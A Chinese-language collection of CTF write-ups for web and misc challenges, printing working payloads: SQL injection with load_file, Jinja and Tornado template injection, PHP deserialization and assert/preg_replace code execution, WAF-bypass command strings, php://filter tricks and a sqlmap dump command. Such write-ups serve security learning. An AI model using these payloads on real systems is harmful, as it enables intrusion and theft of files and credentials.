PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==

image-20220916145656766

解密后可以得到flag(可以在控制台使用atob()函数解密,btoa加密)

image-20220916145719137

image-20220916150027334

2.sql语句中LOAD_FILE()函数可以读取一个文件并将其内容作为字符串返回

1
?no=-1/**/union /**/select 1,load_file('/var/www/html/flag.php'),3,4

flag在源码中

image-20220916143115357

flag{c1e552fdf77049fabf65168f22f7aeab}

shrine/CTF(3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import flask 
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)

/shrine/这个路径存在模板注入

1
http://61.147.171.105:51191/shrine/{{1+1}}

image-20220919103910033

这里把config过滤了,但是可以用url_for或者get_flashed_messages读取全局变量

1
2
/shrine/{{url_for.__globals__}}
/shrine/{{get_flashed_messages.__globals__}}

image-20220919104610404

1
2
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

image-20220919104700241

flag{shrine_is_good_ssti}

unseping/江苏工匠杯(1)

参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);

class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

function ping($ip){
exec($ip, $result);
var_dump($result);
}

function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) //过滤了 | & ; space /
{
return $str;
} else {
echo "don't hack";
}
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

大致流程是:

1
传参->反序列化->construct()->wakeup()填充args->destruct()赋method值ping->ping()

所以要传的参数CTF需要

1
cat flag=>

查看文件的方法

image-20221025104923960

文件名替换

1
2
用inode索引号来匹配文件,使用`ls -i`可以看到inode号
tac `find / -inum 18497049`
1
2
使用全局遍历
a=/fla;b=g;tac $a$b

linux默认环境变量

1
2
ls被ban:可以用空的环境变量绕过,例如`l{z}s`
${IFS}默认指定space,tab,换行

image-20221025113050809

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNDoibCR7en1zJHtJRlN9LWwiO319

用POST方法传base64编码后的结果

image-20221025112957162

1
其中第一列d代表目录,l代表连接文件,b代表设备文件

image-20221025113304312

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyODoibCR7en1zJHtJRlN9ZmxhJHt6fWdfMXNfaGVyZSI7fX0=

image-20221025112537059

但是这里/;都被过滤了,该如何读取php内容?

可以使用8进制ascii码替换命令,例如

1
ls->$(printf "\154\163")
1
2
3
s='cat flag_1s_here/flag_831b69012c67b35f.php'
for i in s:
print(oct(ord(i))[2:],end="\\")
1
2
cat flag_1s_here/flag_831b69012c67b35f.php
\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160

image-20221025174912561

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

image-20221025174028059

得到flag

cyberpeace{29898fce096dde11f0f088c612f9ce32}

file_include/江苏工匠杯(1)

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>

使用php伪协议

1
/?filename=php://filter/read=convert.base64-encode/resource=./check.php

提示do not hack!

原因是check.php中对多个字符进行了过滤(上述包括read、base)

可以用iconviconv支持的编码

1
2
3
/?filename=php://filter/convert.iconv.utf8.utf16/resource=./check.php
#iconv(input-encoding,output-encoding)
/?filename=php://filter/convert.iconv.utf7.utf7/resource=./check.php

万能解码工具

可以看到check.php中的内容,对部分字符都进行了过滤

1
2
3
4
5
6
if($_GET["filename"]){ 
$preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);';
if (eval($preg_match_username)) {
die("do not hack!");
}
}

查看flag.php文件内容

1
/?filename=php://filter/convert.iconv.utf8.utf16/resource=./flag.php

得到flag

cyberpeace{b954ac143e52458bf33831a02681d948}

easyphp/江苏工匠杯(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}

if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}

?>

这里需要len(a)≤3,且取整值大于6000000,可以传a=1e9

需要md5(b)[-6,-1]==='8b184b',这里需要爆破一下,得到结果b=53724

image-20221102171131428

参数c需要传一个json编码后的数组,且c["m"]不是数字&c["m"]>2022,即c["m"]='2023a'

c["n"]需要包含两个元素且第一个元素需要是数组,且后面需要c[“n”]中包含字符串DGGJ,即c["n"]=[[1],"DGGJ"]

但是又有一个循环遍历c["n"],如果出现DGGJ就Die了

那就只能在array_search()上想办法,因为这里没有设置strict参数,可以用0 == 'DGGJ',即c["n"]=[1],0

1
2
/?a=1e9&b=53724&c={"m":"2023a","n":[[1,2,3],0]}c={"m":"2023a","n":[[1],0]}
//这里用单引号会报错

得到flag

cyberpeace{c994b9366b8a342a494047cedee1e812}

easytornado/护网杯(3)

在/flag.txt提示flag在/fllllllllllllag中,且查看url可以发现传了两个参数

1
/file?filename=/hints.txt&filehash=2598a04e7cc8a8a459f0679b95e33982

/hint.txt中可以看到hash值的计算方法是

1
md5(cookie_secret+md5(filename))

所以关键是找到cookie_secret

根据提示Tornado框架render渲染函数,猜测需要利用模板注入漏洞来找到flag

输入

1
/file?filename={{1+1}}

重定向到http://61.147.171.105:53261/error?msg=Error并提示Error

可能存在服务端模板注入攻击 (SSTI),尝试在当前页面进行模板注入

1
/error?msg={{1}}

发现存在模板注入

image-20221109094634984

1
2
3
4
5
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,
handler->RequestHandler
RequestHandler.settings->self.application.settings
所以handler.settings->RequestHandler.application.settings
这里面是一些环境变量

结果出现了cookie_secret的值

1
c01d81b4-935c-4f0c-b3e7-eecbee4544c2

image-20221109095030350

1
2
md5(cookie_secret+md5("/fllllllllllllag"))
a497d10f68a24eabcd104d2db8167ada
1
/file?filename=/fllllllllllllag&filehash=a497d10f68a24eabcd104d2db8167ada

得到flag

flag{3f39aea39db345769397ae895edb9c70}

simple_js/root-me(3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');
var i,j,k,l=0,m,n,o,p = "";
i = 0;
j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ )
{
o = tab[i-l];
p += String.fromCharCode((o = tab2[i]));
if(i == 5) break;
}
for(i = (o=0); i < (k = j = n); i++ )
{
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

dechiffre函数其实就是将十进制转成字符

而想要获取的密码(flag)为下列结果

1
dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")

这里需要将16进制转换成ascii后转成字符

ascii、16进制、2进制、十进制、base64在线转换

得到

1
dechiffre("55,56,54,79,115,69,114,116,107,49,50")

结果是

1
786OsErtk12

根据题目描述(Flag格式为 Cyberpeace{xxxxxxxxx})得到flag

这里我还以为需要再次输入弹出框才能得到flag( ╯□╰ )

Cyberpeace{786OsErtk12}

mfw/csaw(3)

about页说使用了git,可能存在git泄露

image-20221109151630477

访问/.git发现确实存在

image-20221109151712968

使用githack工具获取泄露的内容,可以看到template目录下存在flag.php,然而内容为空

image-20221109151945741

index.php中存在如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
1
2
3
4
5
其中assert()函数其实是一个断言函数。assert函数在php语言中是用来判断一个表达式是否成立。返回true or false;
assert ( mixed $assertion [, string $description ] ) : bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到则返回flase,

因为并没有对输入进行过滤,可以构建语句闭合执行命令

1
/?page=');//

image-20221109152958908

1
/?page=').system('cat+./templates/flag.php');//

image-20221109153131832

查看源代码,得到flag

image-20221109153155469

cyberpeace{2172f21f4199956826ac65ef621201b4}

ics-05/XCTF(3)

把所有按钮全点一遍,发现只有一个按钮可以跳转

image-20221114153347755

image-20221114153448215

dirsearch的结果如下

image-20221114152643043

访问/index.php/login/界面,点击超链接

image-20221114153641700

可以看到后面接了个/page=index

image-20221114153705586

尝试使用PHP伪协议

1
?page=php://filter/read=convert.base64-encode/resource=index.php

得到一串base64编码后的结果

base64解码的结果(选取其中关键)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

$page = $_GET[page];

if (isset($page)) {
if (ctype_alnum($page)) {
?>
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>

其中

1
2
3
ctype_alnum 要求字符串只能是数字和字母的组合(可以为纯数字/字母)
strpos 查找字符串在另一字符串中第一次出现的位置,没有找到则返回flase
preg_replace 执行一个正则表达式的搜索和替换。

而后一段的php代码是破题关键

这里需要将X_FORWARDED_FOR这个参数改成127.0.0.1,也就是SSRF

然后需要传参pat、rep、sub,其中preg_replace函数可以进行代码执行

1
/?pat=/ab/e&rep=system("ls")&sub=abc

image-20221114155758483

看一下这个很长的目录s3chahahaDir

image-20221114155900113

这个也是一个目录,再进一层能看到flag.php

image-20221114160016149

这里cat不显示,还以为还有什么点没注意到

image-20221114160141264

在源码中可以看到flag

image-20221114160234783

cyberpeace{311c896db1aff4f376207dda8e7a4157}

lottery/XCTF(3)

本例提供了附件,内容为网站的源码

附件中robots.txt中提示有/.git,可能存在git泄露

原来附件的内容就是git泄露的代码

本题需要先赚钱然后购买flag,而赚钱的唯一途径是购买彩票

image-20221121114333723

buy.php中存在弱比较漏洞

1
2
3
4
5
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}

因为win_numbers[i]0-9,所以只要让numers[i]true就行

image-20221121113904800

然后就可以在market.php购买flag(可能需要多buy几次彩票赚钱)

image-20221121114236148

cyberpeace{c3a5f93792faa195cc74d669f514158c}

文件包含/泰山杯(4)

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>

先用dirsearch查一下网站目录结构

image-20221123091658340

用伪协议试一下,发现好像和file_include/江苏工匠杯(1)差不多

使用

1
/?filename=php://filter/read=convert.base64-encode/resource=./flag.php

会提示do not hack!(因为read被ban了)

但是这里用

1
/?filename=php://filter/convert.iconv.utf7.utf7/resource=./check.php

会提示you have use the right usage , but error method

说明是编码有问题,这里需要用爆破来获取结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

image-20221123093656452

1
2
3
preg_match("/base|quoted|write|rot13|read|zlib|print|string/i", $_GET["filename"]):ban了部分关键字
preg_match_username2 = 'return preg_match("/BE|16|8|32|2/i", $_GET["filename"]):限定了编码方式
return preg_match("/4\*/i", $_GET["filename"]):限定了解码的方法

用这个编码查看flag.php

1
/?filename=php://filter/convert.iconv.ASCII%2a.UCS-4%2a/resource=flag.php

image-20221123093934956

得到flag

cyberpeace{3c832b20348bc8051d9f1da6e444ab70}

FlatScience/Hack.lu-2017(4)

先用dirsearch扫一下目录结构

image-20221124162139410

robots.txt

image-20221124162256448

admin.php

image-20221124162327564

login.php

image-20221124162344460

在这个界面可能存在POST类型的SQLite注入

image-20221124162719077

抓包保存到本地,用sqlmap跑一下

1
sqlmap -r sqlite --risk 3 --level 5 --batch --purge --dump-all

image-20221124163852057

1
2
3
4
5
6
7
+----+-----+-------------------------------+--------+------------------------------------------+
| id | 255 | hint | name | password |
+----+-----+-------------------------------+--------+------------------------------------------+
| 1 | 255 | my fav word in my fav paper?! | admin | 3fab54a50e770d830c0416df817567662a9dc85c |
| 2 | 255 | my love is…? | fritze | 54eae8935c90f467427f05e4ece82cf569f89507 |
| 3 | 255 | the password is password | hansi | 34b0bb7c304949f9ff2fc101eef0f048be10d3bd |
+----+-----+-------------------------------+--------+------------------------------------------+

得出上述结果,但是密码无法破译

不过这里提示了

1
2
3
my fav word in my fav paper?
my love is…?
the password is password

所以密码应该在paper里

login.php的源码里提示了

1
<!-- TODO: Remove ?debug-Parameter! -->

访问

1
/login.php?debug

可以看到PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}

if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

可以看到这里password是与Salz!拼接后sha1

1
password=sha1($pass."Salz!")

所以最后这里需要将所有pdf里的单词取出来经过上述处理后与sqlmap得出的密码进行比较

最后得出admin的密码是

1
admin ThinJerboa

admin.php登录后,得到flag

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

Confusion1/XCTF(4)

CTFHUB

Vim缓存

1.当vim在编辑文档的过程中如果异常退出,则会产生缓存文件。第一次产生的缓存文件后缀为.swp,第二次则产生的缓存文件后缀为.swo,第三次产生的缓存文件后缀为.swn。

2.使用命令vim -r 可以查看当前目录下的所有swp文件。

3.使用命令vim -r filename可以恢复文件,这样上次意外退出并且没有保存的修改,就可以覆盖文件。

4.调用这类的隐藏文件的时候,需要在最前面加.(如删除index.php.swp,则需要rm -fr* .index.php.swp).

5.vim使用的缓存存储是一种固定的二进制文件,我们可以通过curl命令,或者vim命令进行查看。

访问.index.php.swp,得到缓存文件,在linux中cat查看就能得到flag

ctfhub{3f74df4bc6d20b7acea2c1ec}

Git泄露-Log

使用GitHack工具下载.git文件

1
python2 GitHack.py http://challenge-eb02ac897a8ff3e2.sandbox.ctfhub.com:10800/.git

在生成的目录下使用git log命令获取日志

image-20221018152310501

使用git diff 查看提交比对可以得到flag

image-20221018152715932

或者使用git reset --hard 708f5a182dc058cd0af233e2d6758f10644622a3回退到add flag版本,多了一个文档,打开就可以得到flag

image-20221018153135503

ctfhub{e35a6a61ed75f63fd03f4577}

Git泄露-Stash

与上题类似,使用GitHack下载源码,然后用git log查看日志

image-20221018170808109

但是此次直接用git diff查看无新增文件

image-20221018170842923

git reset回退版本生成了文档,但是也没有flag

image-20221018170920992

其实stash是缓存的意思

1
将本地没提交的内容(git commit的内容不会被缓存 但git add的内容会被缓存)进行缓存并从当前分支移除,缓存的数据结构为堆栈,先进后出

使用git stash list查看缓存记录

image-20221018171013771

使用git stash pop可以弹出最新 stash 的内容,并删除该 stash

1
2
如果想要指定弹出某个 stash,可以使用:
git stash pop stash@{$num}

使用git stash apply也会将最新的改动还原到代码中,默认返回 stash{0},与pop不同的是apply 不会删除 stash{0}

这里使用二者都可以,发现文档内容发生改变,得到flag

image-20221018171228336

image-20221018171315925

ctfhub{69ac1262b1f2cfab32c09553}

Git泄露-Index

直接GitHack就能得到带flag的文档

image-20221018171612316

ctfhub{2b8c264edd050a99208d58ad}

SVN泄露

1
SVN是subversion的缩写,是一个开放源代码的版本控制系统

下载dvcs-ripper工具

1
git clone https://github.com/kost/dvcs-ripper

安装相关组件

1
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

使用工具进行处理

1
./rip-svn.pl -v -u http://challenge-350f55b7f4229231.sandbox.ctfhub.com:10800/.svn/

进入.svn/pristine目录,查看文件,发现有两个文件夹

image-20221024160207546

其中bb文件夹中有一个文档,记录了flag

image-20221024160304334

另一个bf文件夹记录了当前html内容

image-20221024160339892

ctfhub{3503d217e9a14b5d95df7855}

HG泄露

1
当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞

使用dvcs-ripper里的rip-hg.pl工具

1
./rip-hg.pl -v -u http://challenge-b5f8d3ea776f7b25.sandbox.ctfhub.com:10800/.hg

得到.hg隐藏文件夹

进入.hs/store目录,查看fncache文件

image-20221024161412440

访问/flag_14633778.txt,得到flag

ctfhub{cd9a58d44428b89a86c3b54e}

弱口令

《论字典的选择》

image-20221024163354760

ctfhub{300f7c6b0200acc7395561f8}

默认口令

增加了验证码,提高了爆破门槛

常见口令

不过百度搜一下就能搜到eyou的默认密码

1
账号:eyougw 密码:admin@(eyou)

登录后就能得到flag

ctfhub{d522ac8ac36a7648028f93f5}

联通网络安全

WEB-RRRCE

参考

1
?host=123%26a=f%26%26b=g%26%26c=la%26%26d=%60expr$%7BIFS%7Dsubstr$%7BIFS%7D%22$APACHE_CONFDIR%22$%7BIFS%7D1$%7BIFS%7D1%60%26%26ca%22%22t${IFS}$d$a$c$b

MISC

工具

1
2
3
4
5
数据隐写:010Editor、Stegsolve
流量分析:Wireshark
电子取证:volatility
物联网:QEMU、Binwalk
密码破解:HashCat、EWSA

010Editor:一款快速且强大的十六进制编辑器。用来编辑二进制文件

StegOnline:图片隐写工具 StegSolve 的 Web 版

ezgif:GIF 在线分帧工具

CTF在线工具

1
2
3
4
5
流量取证:tcpxtract
文件分析:binwalk
文件分离:dd
python反编译:uncompyle6
SSTV:MMSSTV

在线编解码

攻防世界

删库跑路-/XSCTF联合招新赛(1)

binwalk

1
binwalk -e vm-106-disk-1.qcow2

得到文件,flag在压缩包8091000

winhex

winhex打开文件,使用Tools-Disk Tools-File Recovery by Type

image-20221205161039322

全选,恢复,flag在000001.gz

flag{c28c424b-fd8c-45b9-b406-0a933b1ca7b1}

凯撒大帝在培根里藏了什么/XSCTF联合招新赛(1)

有一串字符串

1
ABBABAABBAAAAABABABAABABBAAAAABAABBAAABAABBBABBAABABBABABAAABABBBAABAABABABBBAABBABAA

这是培根密码,解密得到

1
ngbklatcoznixevzu

那这就是凯撒密码了,但是不知道具体的偏移量,最后试出来偏移量为6

1
havefunwithcrypto

而flag提示是

1
格式为flag{你所得到的大写字符串}

flag{HAVEFUNWITHCRYPTO}

简单的base编码/XSCTF联合招新赛(1)

这题是BASE64编解码,而且要一直解码

解码二十次,得到

1
F#S<YRa[$*x7,>{F3DH5N/3.5+J6WD%P841JRN_i51F1Z!

这是base92编码,解码得到flag

flag{d0_y0u_l1ke_base92_!??!_by_Sh3n}

来自银河的信号/江苏工匠杯(1)

浅听了一下,差点给我弄聋了

这是用SSTV来传输信息

1
sstv一般指慢扫描电视。 慢扫描电视(Slow-scan television)是业余无线电爱好者的一种主要图片传输方法,慢扫描电视通过无线电传输和接收单色或彩色静态图片。

MMSSTV,外放音频或者用虚拟声卡VSC作为输入设备,等它放完,就能得到图片

image-20221205171650156

1
2
f7liavga{1M_0105n_cC@okmei_nFge!s}
只能说太抽象了

这个还要经过栅栏密码()加密后得到flag,栏数为2

1
2
3
4
栅栏密码:把将要传递的信息中的字母交替排成上下两行,再将下面一行字母排在上面一行的后边,从而形成一段密码
例如 a1b2->ab12
a 1
b 2

flag{M00nc@ke_Fes7iva1_15_Coming!}

steg没有py/江苏工匠杯(1)

这里用的是stegpy,我还以为是stegsolve

1
stegsolve是工具,stegpy是隐写方式

而且这里还需要密码来解密,此处没有提示,但是原题有提示密码是16位,刚好是文件名Do_you_like_misc

1
2
stegpy Do_you_like_misc.png -p
Do_you_like_misc

解密得到文件_encrypt.txt,内容为

1
2
3
4
5
6
eyjd{4e71wf_H1uc3s_15_EEEEpwwl!!}

a,b∈(1,25]
a=x**2;
b=(x-2)**2;
print(a,b)
1
2
3
x=4,5
a=16,25
b=4,9

这是一个仿射密码Affine Ciphera=25,b=9

1
2
eyjd{4e71wf_H1uc3s_15_EEEEpwwl!!}
flag{4f71ne_c1ph3r_15_ffffunny!!}

这里还要根据密文字符大小写改一下格式,得到flag

flag{4f71ne_C1ph3r_15_FFFFunny!!}

*时间刺客!/江苏工匠杯(1)

本题提示是时间不站在你那边,四张图片的修改时间分别是

1
2
3
4
1.jpg:1709年1月7日,0:43:49
2.jpg:2009年3月31日,5:38:29
3.jpg:1986年6月19日,4:24:09
4.jpg:1718年7月2日,15:24:11

把它们转换成时间戳,但是时间戳是从1970-01-01 08:00:00开始的

1
2
3
4
-8235846971
1238449109
519510249
-7936590949

wp说跑下面这个就行,没看懂

1
bytes([int(i) for i in __import__('re').findall(r'1[0-2][0-9]|[4-9][0-9]', ''.join([str(int((int(__import__('os').path.getmtime(filename) * (10 ** 9)) % (2 ** 64 - 1)) / (10 ** 9))) for filename in __import__('os').listdir('./')]))]).decode()

flag{T1m3_f1ie5}

看雪看雪看雪/江苏工匠杯(1)

这里用到了NTFS流来隐藏文件,将压缩包用winrar解压后

1
2
3
NTFS文件系统中存在NTFS数据流文件也被称为 Alternate data streams(ADS), 是NTFS磁盘格式的一个特性之一
每个文件都有主文件流和非主文件流,主文件流能够直接看到;而非主文件流寄宿于主文件流中,无法直接读取,这个非主文件流就是NTFS交换数据流。
也就是说非主文件流是真实存在于我们系统的,但是我们看不到,可以通过创建这样的数据交换流文件,达到隐写的效果。

NtfsStreamsEditor2工具进行扫描,就可以看到隐藏的文件,导出后

1
2
3
4
1.ord:同淋雪
2.pa:他朝
3.ssw:若是
flag:

image-20221206145928817

这里用到了snow隐写

1
2
3
4
5
6
7
-C:如果隐藏,则压缩数据,或者如果提取,则会解压缩。
-Q:静音模式。如果未设置,则程序报告统计信息,例如压缩百分比和可用存储空间的数量。
-S:报告文本文件中隐藏消息的近似空间量。考虑线长度,但忽略其他选项。
-p password:如果设置为此,则在隐藏期间将使用此密码加密数据,或在提取期间解密。
-l line-length:在附加空格时,Snow将始终产生比此值短的线条。默认情况下,它设置为80。
-f message-file:此文件的内容将隐藏在输入文本文件中。
-m message-string:此字符串的内容将被隐藏在输入文本文件中。请注意,除非在字符串中包含一个换行符,否则在提取邮件时,否则不会打印换行符。
1
snow.exe -C -p "他朝若是同淋雪" outfile

就能得到flag

1
此生也算共白头flag{Sn0w_M@n!!!!!!!}

流量分析2/CTF(1)

导入流量包,分析筛选

1
http && ip.src==39.105.136.196

发现每个包都传了一些字符,拼起来

image-20221206153005354

1
fl{17uaji1l}

或者导出http,也能得到相同的结果

image-20221206153207472

flag就是

flag{17uaji1l}

nice_bgm/CTF(1)

压缩包里还要一个.DS_Store文件,以为是代码泄露,原来没啥用

音乐文件的备注里有以下信息

1
163 key(Don't modify):L64FU3W4YxX3ZFTmbZ+8/ZZ9Y/tgOmNcoJ5dtFf1KVqxwH/xPBSYX/RBw/iqmLiJzzxwYmFqoKqDihfI1Oc2/J/epKAHJUDYbGiTmY5mE6o/liOSritI10J0pq+CjaamnQOVUqOOwqsbN8Wc0EzN1an5Qsju02G8NLehmTgmOQzq8NG+XfMYT438I1nk1m9dTous+vB2MuGROm4ncI5O14DuzsjhinroVxILf0ryZWPcn6odYY/Ixcfw/iyIXHKgAFisF+xpACuZlDSqBUECNeGFvO58cSLJgwoCwfe9aGEgjCNlm0tTq8F0bsiUON9ZNlbmnNgqznuWizs02TXarMxROmeS1ZKlh7BxYBOjIJFw7HyQG2xtGDIgpbnmrbRaZfwmZ979WQTqJRbAdpZzXR9VLbAhpvKKIo1mC4wdOgX3XN5yjbXRVLJjoeR1z3o7VaijzqYt7DdxGuZyDfv1Jn3URw9DKSbL0bP7LK9mH7UyQPNzQeyCVEvdutWWTsSqH7SMT5c5RERCPzSnCUBd8V/aCmcrwSo1zG4DYGu4x8m2Xe5UVrjqgjFRELn9RPjNPPntCAOZw2YaRl3mvbOXlg==

并不能用base64解码

题目提示了:我拿出自己的私密音乐来和你分享,一起享受快乐吧

所以这其实是MP3 private_bit隐写

010Editor打开文件并安装插件后,可以发现在MPEG_FRAME mf[]存在private_bit

image-20221207094527522

起始字节是399D0h,即235984

总共有12+1+2+1+4+2+1+1+2+2+1+1+2=32,即4字节,private_bit在24,第三字节

所以要从前一个字节开始提取内容,对应的地址是235986

数字长度是1A1h或1A2h,需要筛选一下

image-20221207094942122

坑爹的是它到了某一位之后private_bit就是0了,找个尽量靠后的位置,例如mf[500],6CA22h=444962

1
1A1h:[0, 1, 26, 50, 75, 99, 124, 148, 173, 197, 222, 246, 271, 295, 320, 344, 369, 393, 418, 442, 467, 491]

读取每个private_bit所在字节的最后一位,然后每8位成ascii码转字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
n=235986	#第一个private bit起始位置
file = open('1.mp3','rb') #rb是读取二进制文件
while n < 444962 : #已经可以结束的位置,可以发现后面private_bit的值都为0
file.seek(n,0) #文件游标移动到n
if number in list:
n += 417
else:
n += 418
file_read_result = file.read(1) #读取一个字节
read_content = bin(ord(file_read_result))[-1] #ord返回对应数字 bin用二进制表示 最后一位返回的是值
result = result + read_content
number += 1

for n,i in enumerate(result):
s=""
s+=i
if (n+1)%8==0:
print(chr(int(s,2)),end="")
s=""

得到flag

flag{0k4_YOu_Seem_s0_cl3ver_t0_find_f1ag!}

fakezip/宜兴网信办(1)

压缩包直接解压需要密码

题名提示了是fakezip,可能是伪加密的压缩包

image-20221207112415879

image-20221207112733670

